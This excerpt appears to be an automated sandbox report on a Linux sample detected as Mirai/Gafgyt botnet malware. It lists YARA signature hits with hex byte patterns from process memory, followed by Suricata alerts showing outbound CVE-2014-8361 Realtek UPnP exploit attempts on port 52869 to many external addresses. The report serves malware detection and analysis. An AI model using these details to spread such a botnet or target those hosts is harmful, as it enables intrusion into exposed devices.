5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5489.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
5494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
Process Memory Space: x86.elf PID: 5488	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5488	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5488	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5488	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x29a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2aa7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2abb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2acf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ae3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2af7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: x86.elf PID: 5489	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5489	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5489	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5489	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x29a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2aa7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2abb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2acf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ae3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2af7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: x86.elf PID: 5494	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5494	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5494	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 5494	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x29a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x29f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2aa7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2abb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2acf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ae3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2af7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 88 entries

Suricata Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T20:34:45.265690+0100	2027339	1	A Network Trojan was detected	192.168.2.14	49264	41.155.199.182	52869	TCP
2024-12-04T20:34:48.777061+0100	2027339	1	A Network Trojan was detected	192.168.2.14	55648	41.118.64.160	52869	TCP
2024-12-04T20:34:48.796410+0100	2027339	1	A Network Trojan was detected	192.168.2.14	48420	41.169.164.75	52869	TCP
2024-12-04T20:34:48.810016+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43260	156.143.161.42	52869	TCP
2024-12-04T20:34:48.904696+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34958	197.149.191.62	52869	TCP
2024-12-04T20:34:48.921171+0100	2027339	1	A Network Trojan was detected	192.168.2.14	54712	156.39.9.64	52869	TCP
2024-12-04T20:34:48.935604+0100	2027339	1	A Network Trojan was detected	192.168.2.14	53662	156.33.126.151	52869	TCP
2024-12-04T20:34:48.935679+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45946	197.57.17.249	52869	TCP
2024-12-04T20:34:48.935748+0100	2027339	1	A Network Trojan was detected	192.168.2.14	44106	156.53.32.243	52869	TCP
2024-12-04T20:34:48.935950+0100	2027339	1	A Network Trojan was detected	192.168.2.14	49792	156.169.0.109	52869	TCP
2024-12-04T20:34:48.936065+0100	2027339	1	A Network Trojan was detected	192.168.2.14	49726	41.225.238.214	52869	TCP
2024-12-04T20:34:48.980696+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34758	156.29.51.142	52869	TCP
2024-12-04T20:34:49.855186+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43520	41.40.186.136	52869	TCP
2024-12-04T20:34:49.887432+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35244	41.47.150.192	52869	TCP
2024-12-04T20:34:50.105330+0100	2027339	1	A Network Trojan was detected	192.168.2.14	56986	41.58.254.48	52869	TCP
2024-12-04T20:34:53.028548+0100	2027339	1	A Network Trojan was detected	192.168.2.14	42220	197.245.120.181	52869	TCP
2024-12-04T20:34:58.183498+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34854	197.182.194.233	52869	TCP
2024-12-04T20:35:00.230127+0100	2027339	1	A Network Trojan was detected	192.168.2.14	55812	41.9.114.218	52869	TCP
2024-12-04T20:35:00.230237+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34282	197.252.2.42	52869	TCP
2024-12-04T20:35:01.496011+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35434	156.14.52.238	52869	TCP
2024-12-04T20:35:02.448968+0100	2027339	1	A Network Trojan was detected	192.168.2.14	51178	156.38.80.18	52869	TCP
2024-12-04T20:35:02.480774+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34214	197.225.187.90	52869	TCP
2024-12-04T20:35:02.845142+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37282	197.57.115.154	52869	TCP
2024-12-04T20:35:02.855311+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38322	156.57.204.55	52869	TCP
2024-12-04T20:35:03.480702+0100	2027339	1	A Network Trojan was detected	192.168.2.14	41296	41.227.45.14	52869	TCP
2024-12-04T20:35:03.495881+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38248	156.144.80.131	52869	TCP
2024-12-04T20:35:03.976420+0100	2027339	1	A Network Trojan was detected	192.168.2.14	40356	156.241.162.13	52869	TCP
2024-12-04T20:35:04.511500+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45594	197.124.112.162	52869	TCP
2024-12-04T20:35:05.668104+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38928	156.128.213.48	52869	TCP
2024-12-04T20:35:05.684983+0100	2027339	1	A Network Trojan was detected	192.168.2.14	52762	41.242.233.85	52869	TCP
2024-12-04T20:35:05.685059+0100	2027339	1	A Network Trojan was detected	192.168.2.14	36646	197.42.126.107	52869	TCP
2024-12-04T20:35:05.685157+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43074	41.80.9.17	52869	TCP
2024-12-04T20:35:05.685407+0100	2027339	1	A Network Trojan was detected	192.168.2.14	48916	156.108.206.135	52869	TCP
2024-12-04T20:35:05.685463+0100	2027339	1	A Network Trojan was detected	192.168.2.14	51194	41.58.74.103	52869	TCP
2024-12-04T20:35:05.685477+0100	2027339	1	A Network Trojan was detected	192.168.2.14	52092	41.248.145.172	52869	TCP
2024-12-04T20:35:05.808548+0100	2027339	1	A Network Trojan was detected	192.168.2.14	47366	197.145.135.188	52869	TCP
2024-12-04T20:35:05.808856+0100	2027339	1	A Network Trojan was detected	192.168.2.14	48534	41.217.138.49	52869	TCP
2024-12-04T20:35:06.527250+0100	2027339	1	A Network Trojan was detected	192.168.2.14	51538	41.135.143.86	52869	TCP
2024-12-04T20:35:06.527466+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34988	156.201.159.17	52869	TCP
2024-12-04T20:35:06.527552+0100	2027339	1	A Network Trojan was detected	192.168.2.14	59386	41.248.173.78	52869	TCP
2024-12-04T20:35:06.527613+0100	2027339	1	A Network Trojan was detected	192.168.2.14	54682	156.125.216.186	52869	TCP
2024-12-04T20:35:06.527727+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35712	41.136.228.87	52869	TCP
2024-12-04T20:35:06.538462+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35638	197.66.208.240	52869	TCP
2024-12-04T20:35:06.839894+0100	2027339	1	A Network Trojan was detected	192.168.2.14	59658	197.12.30.212	52869	TCP
2024-12-04T20:35:06.855626+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43216	41.28.240.86	52869	TCP
